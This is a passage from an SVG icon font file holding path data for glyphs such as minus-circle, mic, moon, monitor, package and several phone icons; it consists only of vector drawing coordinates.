q17.6549 0 30.1498 12.4949t12.4949 30.1499v170.579q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949t-30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499zM341.684 -128h341.158q17.6549 0 30.1498 12.4949t12.4949 30.1499
q0 17.6549 -12.4949 30.1499q-12.4949 12.4949 -30.1498 12.4949h-341.158q-17.6549 0 -30.1499 -12.4949q-12.4949 -12.4949 -12.4949 -30.1499q0 -17.6549 12.4949 -30.1499q12.4949 -12.4949 30.1499 -12.4949z" />
    <glyph glyph-name="minus-circle" unicode="&#xe894;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM341.333 341.333h341.333
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="mic" unicode="&#xe895;" 
d="M682.667 725.333v-341.333q0 -70.656 -50.0053 -120.661q-50.0053 -50.0053 -120.661 -50.0053q-70.656 0 -120.661 50.0053q-50.0053 50.0053 -50.0053 120.661v341.333q0 70.656 50.0053 120.661q50.0054 50.0054 120.661 50.0054q70.656 0 120.661 -50.0054
q50.0053 -50.0053 50.0053 -120.661zM512 810.667q-35.328 0 -60.3307 -25.0027t-25.0027 -60.3306v-341.333q0 -35.328 25.0027 -60.3307t60.3307 -25.0027t60.3307 25.0027q25.0026 25.0027 25.0026 60.3307v341.333q0 35.3279 -25.0027 60.3306t-60.3306 25.0027z
M768 469.333v-85.3333q0 -106 -75 -181t-181 -75t-181 75t-75 181v85.3333v0.00653076q0 17.664 -12.5013 30.1653q-12.5014 12.5013 -30.1653 12.5013q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-0.00653076v-85.3333q0 -92.6718 45.6959 -171.307
q45.696 -78.6348 124.331 -124.331q78.6348 -45.6959 171.307 -45.6959q92.6718 0 171.307 45.696q78.6348 45.696 124.331 124.331q45.696 78.6348 45.696 171.307v85.3333q-0.00256348 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994
q-17.6613 0 -30.1626 -12.4994t-12.5054 -30.1608zM469.333 85.3333v-170.667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v170.667q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013
q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 -128h341.333q17.6613 0.00270081 30.1607 12.504q12.4995 12.5014 12.4995 30.1626q0 17.6613 -12.4995 30.1626q-12.4994 12.5013 -30.1607 12.504h-341.333q-17.6613 -0.00270844 -30.1607 -12.504
q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504z" />
    <glyph glyph-name="minus-square" unicode="&#xe896;" 
d="M170.667 682.88v-597.76q0 -17.6 12.4267 -30.0267t30.0267 -12.4267h597.76q17.6 0 30.0267 12.4267q12.4266 12.4267 12.4266 30.0267v597.76q0 17.5756 -12.4388 30.0145t-30.0145 12.4388h-597.76q-17.5757 0 -30.0145 -12.4388t-12.4389 -30.0145zM85.3333 682.88
q0 52.9037 37.4415 90.3452t90.3452 37.4415h597.76q52.9037 0 90.3452 -37.4415t37.4415 -90.3452v-597.76v0q0 -52.9037 -37.4415 -90.3452t-90.3452 -37.4415h-597.76q-52.9037 3.8147e-06 -90.3452 37.4415t-37.4415 90.3452zM341.333 341.333h341.333
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-341.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="minus" unicode="&#xe897;" 
d="M213.333 341.333h597.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-597.333q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="moon" unicode="&#xe898;" 
d="M476.203 348.245q-41.4769 41.4772 -70.8313 112.345q-29.3544 70.8678 -29.3544 129.526q0 59.9673 20.3991 116.358q-93.3469 -33.8229 -159.411 -128.028t-66.0644 -193.491q0 -92.8456 45.7816 -171.628t124.564 -124.564q78.7823 -45.7816 171.628 -45.7816
q99.2856 0 193.491 66.0644q94.2054 66.0644 128.028 159.411q-56.391 -20.3991 -116.358 -20.3991q-58.6573 0 -129.526 29.3544q-70.8682 29.3544 -112.347 70.833zM938.453 345.472q-9.74341 -105.374 -70.192 -194.787q-60.4486 -89.413 -155.047 -141.372
t-200.422 -51.9593q-116.06 0 -214.54 57.2285t-155.709 155.709q-57.2285 98.4803 -57.2285 214.54q0 105.833 51.9645 200.436q51.9645 94.6027 141.387 155.049q89.422 60.4459 194.806 70.1805q27.5793 2.55957 41.1733 -21.568q13.594 -24.1276 -2.85867 -46.4
q-20.8318 -28.1474 -35.575 -72.851q-14.7432 -44.7036 -14.7432 -79.7211q0 -106.178 75.1455 -181.324q75.1455 -75.1455 181.324 -75.1455q35.0107 0 79.707 14.7379t72.8406 35.5622q22.2719 16.4785 46.4 2.87466t21.5676 -41.1898z" />
    <glyph glyph-name="monitor" unicode="&#xe899;" 
d="M554.667 128v-85.3333h128q17.664 0 30.1653 -12.5013t12.5013 -30.1653t-12.5013 -30.1653t-30.1653 -12.5013h-341.333q-17.664 0 -30.1653 12.5013t-12.5013 30.1653t12.5013 30.1653t30.1653 12.5013h128v85.3333h-299.093q-52.8155 0.140747 -90.1947 37.6196
q-37.3791 37.4789 -37.3791 90.2946l0.000457764 0.341812v426.155l-6.48499e-05 0.129211q0 52.8159 37.379 90.357q37.379 37.5412 90.1944 37.7698h683.52q52.8156 -0.140808 90.1947 -37.6197q37.3791 -37.4788 37.3791 -90.2945l-0.000488281 -0.341858v-426.155
l6.10352e-05 -0.129181q0 -52.8158 -37.379 -90.357t-90.1943 -37.7698zM128 682.411v-426.155l-0.00138092 -0.342667q0 -17.4885 12.3767 -29.9644q12.3767 -12.4759 29.8647 -12.6156h683.52q17.3182 0 29.7791 12.6167q12.4609 12.6167 12.4609 30.306v426.155
l0.00140381 0.342712q0 17.4885 -12.3768 29.9644q-12.3767 12.4758 -29.8646 12.6155h-683.52q-17.3182 0 -29.7791 -12.6166q-12.4609 -12.6167 -12.4609 -30.3061z" />
    <glyph glyph-name="more-vertical" unicode="&#xe89a;" 
d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM512 597.333q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496t-37.504 -90.496t-90.496 -37.504zM512 682.667h0.00653076
q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00268555 -30.1607 -12.5041q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4995 -12.5013 30.1607 -12.5038zM512 -85.3333q-52.992 0 -90.496 37.504
q-37.504 37.504 -37.504 90.496t37.504 90.496q37.504 37.504 90.496 37.504q52.9919 0 90.496 -37.504t37.504 -90.496q0 -52.992 -37.504 -90.496t-90.496 -37.504zM512 -2.87646e-06l0.00653076 -5e-07q17.664 0 30.1653 12.5013t12.5013 30.1653
q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-0.00653076q-17.6613 -0.00270844 -30.1607 -12.504q-12.4994 -12.5013 -12.4994 -30.1626t12.4994 -30.1626q12.4994 -12.5013 30.1607 -12.504v1.87646e-06v3.16639e-06z" />
    <glyph glyph-name="more-horizontal" unicode="&#xe89b;" 
d="M512 256q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5zM512 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
t12.5013 -30.1654q12.5013 -12.5013 30.1653 -12.5012zM853.333 256q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504t37.504 -90.496t-37.504 -90.496t-90.496 -37.504zM853.333 341.333q17.664 0 30.1653 12.5013
t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013zM170.667 256q-52.992 0 -90.496 37.504t-37.504 90.496t37.504 90.496t90.496 37.504t90.496 -37.504q37.504 -37.504 37.504 -90.496
t-37.504 -90.496t-90.496 -37.504zM170.667 341.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653t12.5013 -30.1653t30.1653 -12.5013z" />
    <glyph glyph-name="move" unicode="&#xe89c;" 
d="M243.499 481.835q11.977 12.4008 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-17.2403 0 -29.641 -11.977l-128 -128q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l128 -128q12.5806 -13.0257 30.6897 -13.0257
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 18.1091 -13.0257 30.6896l-97.8347 97.8347zM609.835 652.501q12.4007 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2404 -11.977 29.6411l-128 128q-12.496 12.4922 -30.1653 12.4922
t-30.1653 -12.4922l-128 -128q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l97.8347 97.8347zM414.165 115.499q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653
q0 -18.109 13.0257 -30.6896l128 -128q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l128 128q11.977 12.4007 11.977 29.641q0 17.664 -12.5013 30.1653q-12.5013 12.5014 -30.1653 12.5014q-17.2403 0 -29.6411 -11.977l-97.8347 -97.8347z
M780.501 286.165q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l128 128q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-128 128q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013
t-12.5013 -30.1653q0 -17.2403 11.977 -29.641l97.8347 -97.8346zM85.3333 341.333h853.333q17.664 0 30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013h-853.333q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653t12.5013 -30.1653
q12.5013 -12.5013 30.1653 -12.5013zM469.333 810.667v-853.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v853.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013
q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="music" unicode="&#xe89d;" 
d="M426.667 646.528v-561.195q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-85.3333q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496q0 52.992 37.504 90.496t90.496 37.504h128v469.333q0.00686646 14.9628 10.458 27.2891
q10.4511 12.3264 25.2113 14.7802l512 85.3333q3.47449 0.577698 6.99731 0.577698q17.6559 0 30.1572 -12.4955q12.5013 -12.4955 12.5095 -30.1515v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504h-85.3333q-52.9919 0 -90.496 37.504
q-37.5041 37.504 -37.504 90.496t37.504 90.496q37.504 37.504 90.496 37.504h128v418.987zM341.333 128h-128q-17.6613 -0.00270081 -30.1607 -12.504t-12.4994 -30.1626t12.4994 -30.1626t30.1607 -12.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653z
M853.333 213.333h-128q-17.6613 -0.00270081 -30.1607 -12.504q-12.4995 -12.5014 -12.4995 -30.1626t12.4995 -30.1626q12.4995 -12.5013 30.1607 -12.504h85.3333q17.664 0 30.1653 12.5013t12.5013 30.1653z" />
    <glyph glyph-name="navigation-" unicode="&#xe89e;" 
d="M293.845 52.48l196.992 112.555q9.83551 5.61824 21.1627 5.61824q11.327 0 21.1627 -5.61824l196.992 -112.555l-218.155 592.085zM234.539 -79.7013q-25.9527 -14.8164 -48.7576 4.47484q-22.8048 19.2913 -12.4691 47.3225l298.667 810.667
q10.272 27.904 40.0213 27.904q29.7494 0 40.0214 -27.904l298.667 -810.667q10.3347 -28.0285 -12.4631 -47.3218q-22.7978 -19.2934 -48.7209 -4.47551l-277.504 158.549l-277.504 -158.549z" />
    <glyph glyph-name="navigation" unicode="&#xe89f;" 
d="M479.701 340.053q10.269 -2.57275 19.3575 -11.6612t11.6612 -19.3575l56.4053 -225.707l281.856 594.987l-594.987 -281.856zM117.632 342.613q-29.1278 7.29794 -32.0907 37.1947t24.1973 42.7627l810.667 384q27.1956 12.8619 48.4468 -8.3988
q21.2512 -21.2608 8.38513 -48.4332l-384 -810.667q-12.8659 -27.1602 -42.7626 -24.1973t-37.1947 32.0907l-79.1467 316.501z" />
    <glyph glyph-name="octagon" unicode="&#xe8a0;" 
d="M128 542.976v-317.952l225.024 -225.024h317.952l225.024 225.024v317.952l-225.024 225.024h-317.952zM335.36 853.333h353.28q17.6716 -0.00372314 30.1653 -12.5013l250.027 -250.027q12.4975 -12.4938 12.5013 -30.1653v-353.28
q-0.00390625 -17.6716 -12.5013 -30.1653l-250.027 -250.027q-12.4938 -12.4976 -30.1653 -12.5013h-353.28q-17.6716 0.00377655 -30.1653 12.5013l-250.027 250.027q-12.4975 12.4938 -12.5013 30.1653v353.28q0.00377274 17.6716 12.5013 30.1653l250.027 250.027
q12.4937 12.4975 30.1653 12.5013z" />
    <glyph glyph-name="package" unicode="&#xe8a1;" 
d="M568.96 872.363l341.333 -170.667q29.4041 -14.6111 50.2188 -48.1898q20.8147 -33.5787 20.8212 -66.4129v-406.613q-0.0174561 -32.7947 -20.8072 -66.3483q-20.7897 -33.5536 -50.1475 -48.1691l-341.333 -170.667q-27.0328 -13.521 -57.2587 -13.521
q-30.2257 0 -57.2587 13.521l-341.461 170.709q-29.1463 14.6639 -49.7741 48.1331t-20.6277 66.0965q0 0.336395 0.0017662 0.671646v406.187q0.0174561 32.7947 20.8072 66.3483q20.7897 33.5536 50.1475 48.169l341.419 170.752q26.9103 13.3721 56.96 13.3721
t56.9594 -13.3716zM843.051 639.872l-312.107 156.075q-8.94257 4.43054 -18.9227 4.43054t-18.9227 -4.43054l-98.816 -49.3226l331.051 -165.589l117.717 58.88zM896 570.965l-151.125 -75.5627q-0.423889 -0.217987 -0.853333 -0.426666l-189.355 -94.6773v-416.811
l317.653 158.848q9.7868 4.86314 16.7251 16.0393q6.93829 11.1762 6.9549 22.1047zM469.333 -16.7253v417.024l-341.333 170.667v-390.357q-0.209038 -26.4787 23.3387 -38.3573zM298.88 698.837l-117.931 -58.9227l331.051 -165.547l117.931 58.9653l-331.051 165.547z
" />
    <glyph glyph-name="pause-circle" unicode="&#xe8a2;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM469.333 256v256
q-0.00268555 17.6613 -12.504 30.1607t-30.1626 12.4995t-30.1626 -12.4994t-12.5041 -30.1608v-256q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607zM640 256v256
q-0.00268555 17.6613 -12.504 30.1608q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1625 -12.4994q-12.5013 -12.4995 -12.5041 -30.1608v-256q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607z" />
    <glyph glyph-name="pause" unicode="&#xe8a3;" 
d="M298.667 682.667v-597.333h85.3333v597.333h-85.3333zM256 768h170.667q17.664 0 30.1653 -12.5013q12.5013 -12.5014 12.5013 -30.1653v-682.667q0 -17.664 -12.5013 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013
q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1653 12.5013zM640 682.667v-597.333h85.3333v597.333h-85.3333zM597.333 768h170.667q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-682.667q0 -17.664 -12.5014 -30.1653
q-12.5013 -12.5013 -30.1653 -12.5013h-170.667q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v682.667q0 17.664 12.5013 30.1653t30.1654 12.5013z" />
    <glyph glyph-name="percent" unicode="&#xe8a4;" 
d="M780.501 712.832l-597.333 -597.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l597.333 597.333q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013
q-18.1091 0 -30.6896 -13.0255zM277.333 469.333q-61.824 0 -105.579 43.7547q-43.7547 43.7547 -43.7547 105.579t43.7547 105.579q43.7547 43.7546 105.579 43.7546q61.8243 0 105.579 -43.7546q43.7547 -43.7547 43.7547 -105.579q0 -61.824 -43.7547 -105.579
q-43.7547 -43.7547 -105.579 -43.7547zM277.333 554.667q26.496 0 45.248 18.752q18.752 18.752 18.752 45.248t-18.752 45.248t-45.248 18.752q-26.496 0 -45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752zM746.667 0q-61.824 0 -105.579 43.7547
t-43.7546 105.579q0 61.824 43.7546 105.579q43.7547 43.7547 105.579 43.7547t105.579 -43.7547q43.7546 -43.7547 43.7546 -105.579q0 -61.824 -43.7546 -105.579q-43.7547 -43.7547 -105.579 -43.7547v4.10767e-06zM746.667 85.3333q26.496 0 45.248 18.752
t18.752 45.248t-18.752 45.248t-45.248 18.752t-45.248 -18.752t-18.752 -45.248t18.752 -45.248t45.248 -18.752z" />
    <glyph glyph-name="phone-call" unicode="&#xe8a5;" 
d="M981.333 3.584l0.000976562 -0.505953q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504q-6.15881 0 -12.289 0.591286q-86.762 9.4182 -199.999 49.6725q-113.237 40.2543 -186.476 87.7142q-68.0648 43.239 -146.861 121.997
q-78.7959 78.7584 -122.067 146.803q-47.7718 73.7674 -88.1136 187.83q-40.3418 114.062 -49.5717 201.461q-0.519455 5.74829 -0.519455 11.52q0 52.9598 37.4812 90.4637q37.4812 37.504 90.4409 37.5363h127.573l1.16858 0.00531006q46.1888 0 83.3629 -32.38
q37.1741 -32.3799 43.5112 -78.132q7.5007 -56.7361 27.52 -110.421q8.18268 -21.7803 8.18268 -45.0468q0 -21.8404 -10.8859 -48.2709t-26.2674 -41.9357l-30.592 -30.5493q31.5351 -49.472 88.8662 -106.803q57.3312 -57.3311 106.803 -88.8662l30.72 30.7627
q15.4855 15.3199 41.8619 26.1623q26.3763 10.8423 48.1594 10.8423q23.2285 0 44.976 -8.16193q53.7759 -20.0695 110.933 -27.6053q45.5836 -6.43591 77.8444 -43.5716q32.2608 -37.1357 32.2608 -83.1714q0 -1.26628 -0.0251465 -2.53709v-127.36v-0.0426638z
M896 131.413q0.41333 16.9138 -9.9856 29.4947t-26.2811 14.836q-66.5118 8.76086 -129.365 32.2133q-7.25397 2.73131 -15.0048 2.73131q-17.3793 0 -29.7952 -12.1606l-54.1866 -54.1867q-12.4974 -12.5009 -30.1741 -12.5009q-11.2954 0 -21.1113 5.58893
q-71.7882 40.8199 -151.484 120.516t-120.516 151.484q-5.57346 9.80545 -5.57346 21.0841q0 17.6637 12.4854 30.1586l54.016 54.016q12.3209 12.4658 12.3209 29.9929q0 7.8056 -2.76352 15.1058q-23.3669 62.6058 -32.128 128.853q-2.18622 15.1937 -14.5973 25.9467
q-12.411 10.753 -27.7611 10.753l-0.734955 -0.00634766h-128q-17.6418 -0.0222168 -30.1274 -12.5235t-12.4856 -30.1431q0 -1.58075 0.116989 -3.15735q8.39217 -78.9407 44.8961 -181.952q36.5039 -103.011 79.6906 -169.622q39.1206 -61.5436 110.378 -132.764
q71.2576 -71.2201 132.822 -110.308q66.0978 -42.8841 168.309 -79.3005t180.534 -44.9875q1.91675 -0.173275 3.84137 -0.173275q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653l-0.00140381 0.343933zM633.984 598.144q-13.7001 3.15479 -23.3961 15.3373
t-9.69604 26.2411q0 17.664 12.5013 30.1653t30.1653 12.5013q3.38306 0 6.72412 -0.533203q70.0587 -13.6688 129.315 -72.925t72.925 -129.315q1.08813 -4.72552 1.08813 -9.57449q0 -17.664 -12.5013 -30.1654q-12.5013 -12.5013 -30.1653 -12.5013
q-15.0685 0 -27.4136 10.5312q-12.345 10.5312 -14.7198 25.4113q-9.11261 46.7057 -48.6168 86.21q-39.5042 39.5043 -86.2099 48.617zM637.397 768.256q-15.7144 1.74689 -26.8358 14.1732q-11.1215 12.4263 -11.1215 28.2374q0 17.6662 12.5029 30.1691t30.1691 12.5029
q2.36505 0 4.71466 -0.26123q91.9946 -10.2134 175.152 -64.2347q83.1578 -54.0214 137.292 -137.106q54.1345 -83.0843 64.4727 -175.065q0.268311 -2.38174 0.268311 -4.77866q0 -17.6692 -12.5049 -30.1741t-30.1741 -12.5049q-15.79 0 -28.2164 11.1048
q-12.4263 11.1048 -14.1943 26.7956q-12.6029 112.197 -100.937 200.431q-88.3344 88.2344 -200.545 100.71z" />
    <glyph glyph-name="phone-forwarded" unicode="&#xe8a6;" 
d="M780.479 499.51q-13.0253 -12.5802 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645t30.1645 -12.501q18.1085 0 30.6887 13.0252l170.662 170.662q12.4919 12.4957 12.4919 30.1644q0 17.6688 -12.4919 30.1645l-170.662 170.662q-12.4005 11.9767 -29.6402 11.9767
q-17.6635 0 -30.1644 -12.501t-12.501 -30.1644q0 -17.2398 11.9767 -29.6402l140.497 -140.497zM639.981 597.342h341.323q17.6635 0 30.1644 12.501t12.501 30.1644t-12.501 30.1644q-12.5009 12.501 -30.1644 12.501h-341.323q-17.6635 0 -30.1644 -12.501
t-12.501 -30.1644q0 -17.6635 12.501 -30.1645q12.5009 -12.501 30.1644 -12.5009zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952
q-17.4814 0 -29.9713 -12.2312l-54.4411 -54.3557q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851
q19.3402 19.5504 9.6424 45.2253q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208
q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576
q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423zM981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572
q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403
q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802
q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191q31.7194 -49.6405 89.3489 -107.145t107.339 -89.116l30.8898 30.8471q15.5699 15.3659 42.0711 26.2408t48.3766 10.8749q23.3348 0 45.1857 -8.1886q53.8301 -20.0582 111.485 -27.6898
q45.8113 -6.42662 78.2334 -43.7144t32.4221 -83.5477q0 -1.24219 -0.0239868 -2.48343v-127.783v0.000256777z" />
    <glyph glyph-name="phone-missed" unicode="&#xe8a7;" 
d="M951.14 840.834l-255.993 -255.993q-13.0253 -12.5802 -13.0253 -30.6887q0 -17.6635 12.501 -30.1645q12.501 -12.5009 30.1645 -12.5009q18.1085 0 30.6887 13.0252l255.993 255.993q13.0251 12.5801 13.0251 30.6887q0 17.6635 -12.501 30.1644t-30.1644 12.501
q-18.1085 0 -30.6886 -13.0252zM695.148 780.505l255.993 -255.993q12.4005 -11.9767 29.6402 -11.9767q17.6635 0 30.1644 12.501t12.501 30.1644q0 17.2398 -11.9767 29.6402l-255.993 255.993q-12.4004 11.9767 -29.6402 11.9767q-17.6635 0 -30.1644 -12.501
t-12.501 -30.1644q0 -17.2398 11.9767 -29.6402zM895.547 129.174q0.0419312 0.950302 0.0419312 1.89935q0 15.3121 -10.7131 27.7816t-25.8504 14.7764q-66.8124 8.80495 -129.959 32.3404q-7.3114 2.75952 -15.1261 2.75952q-17.4814 0 -29.9713 -12.2312
l-54.4411 -54.3557q-10.234 -10.2339 -24.5859 -12.165t-26.9539 5.21051q-72.1184 40.9277 -152.212 120.884q-80.0937 79.9562 -121.145 152.004q-5.61423 9.84479 -5.61423 21.1779q0 17.7471 12.5687 30.2766l54.2704 54.1851q19.3402 19.5504 9.6424 45.2253
q-23.5346 62.9727 -32.2977 129.276q-2.27481 16.0198 -14.5768 26.4999t-28.7286 10.3204h-128.636q-17.7267 -0.0426025 -30.2724 -12.6186q-12.5457 -12.5759 -12.5457 -30.3027q0 -1.53796 0.110077 -3.07208q8.43939 -79.2051 45.1172 -182.538t80.0631 -170.134
q39.3431 -61.7797 110.974 -133.248q71.6304 -71.4679 133.499 -110.671q66.4481 -43.0234 169.168 -79.5512t181.413 -45.1171q1.89514 -0.168346 3.79773 -0.168346q17.7695 0 30.3455 12.576q12.576 12.576 12.576 30.3454l-0.000549316 0.21101v128.423z
M981.305 0.922106l0.000915527 -0.476757q0 -23.3956 -12.2137 -51.1331q-12.2137 -27.7375 -29.4714 -43.534q-15.3181 -13.9823 -40.8375 -23.878q-25.5193 -9.89572 -46.2593 -9.89572q-6.12805 0 -12.2283 0.580025q-87.1865 9.43269 -201.008 49.8108t-187.461 87.9985
q-68.3899 43.3679 -147.584 122.399q-79.1936 79.0311 -122.702 147.332q-48.0018 73.9869 -88.5424 188.421t-49.8215 202.138q-0.520092 5.75861 -0.520092 11.5403q0 20.6276 9.85313 45.9985q9.85312 25.3709 23.7753 40.5916q15.8372 17.3134 43.6518 29.5768
q27.8146 12.2634 51.2788 12.2779h128.295l1.241 0.00598145q46.3391 0 83.6785 -32.4793q37.3393 -32.4792 43.7595 -78.3715q7.59998 -57.1935 27.6472 -110.802q13.2666 -35.1799 5.38651 -71.9979t-34.4843 -63.6781l-30.7618 -30.7191
